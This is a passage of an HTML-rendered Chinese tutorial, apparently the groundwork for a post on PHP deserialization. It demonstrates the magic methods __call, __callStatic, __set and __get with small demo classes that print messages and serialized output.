style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">flag1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">i</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">need</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/call.png\" class=\"\" title=\"call\"></p>\n<p><span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>m</mi><mi>e</mi><mi>t</mi><mi>h</mi><mi>o</mi><mi>d</mi><mtext>用来存放那个不存在的方法名称，</mtext></mrow><annotation encoding=\"application/x-tex\">method用来存放那个不存在的方法名称，</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.6944em;\"></span><span class=\"mord mathnormal\">m</span><span class=\"mord mathnormal\">e</span><span class=\"mord mathnormal\">t</span><span class=\"mord mathnormal\">h</span><span class=\"mord mathnormal\">o</span><span class=\"mord mathnormal\">d</span><span class=\"mord cjk_fallback\">用来存放那个不存在的方法名称，</span></span></span></span>args存放不存在的方法中用户给的参数包装为一个数组</p>\n<h3 id=\"__callstatic\"><a class=\"anchor\" href=\"#__callstatic\">#</a> __callStatic()：</h3>\n<p>当尝试调用一个不存在或不可访问（private/protected）的静态方法时触发：</p>\n<p>与 <code>__call()</code> 的区别：</p>\n<ul>\n<li><strong><code>__call()</code></strong>: 处理<strong>对象实例</strong>的方法调用（例如 <code>$obj-&gt;method()</code>）。</li>\n<li><strong><code>__callStatic()</code></strong>: 处理<strong>类的静态</strong>方法调用（例如 <code>Class::method()</code>）。</li>\n</ul>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> FLAG</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag is ZLARYY&#123;2L47yY&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __callStatic</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">method</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">i don't have </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">method</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> this method&#x3C;/br></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        var_dump</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">ZLARYY</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">::</span><span style=\"color:#59873A;--shiki-dark:#80A665\">flag1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">i</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/callstatic.png\" class=\"\" title=\"callstatic\"></p>\n<h3 id=\"__set\"><a class=\"anchor\" href=\"#__set\">#</a> __set()：</h3>\n<p>当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用，传递属性名和属性值作为参数，可用于将数据写入不可访问的属性</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __set</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">value</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">No Permission:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">value</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> Val</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        var_dump</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">false</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">Val</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/set.png\" class=\"\" title=\"set\"></p>\n<p>如果代码允许，我们可以给私有属性赋值</p>\n<h3 id=\"__get\"><a class=\"anchor\" href=\"#__get\">#</a> __get()：</h3>\n<p>当访问一个对象的不存在或不可访问的属性时自动调用，传递属性名作为参数。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __get</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Are you sure there is </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ilyy4</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span 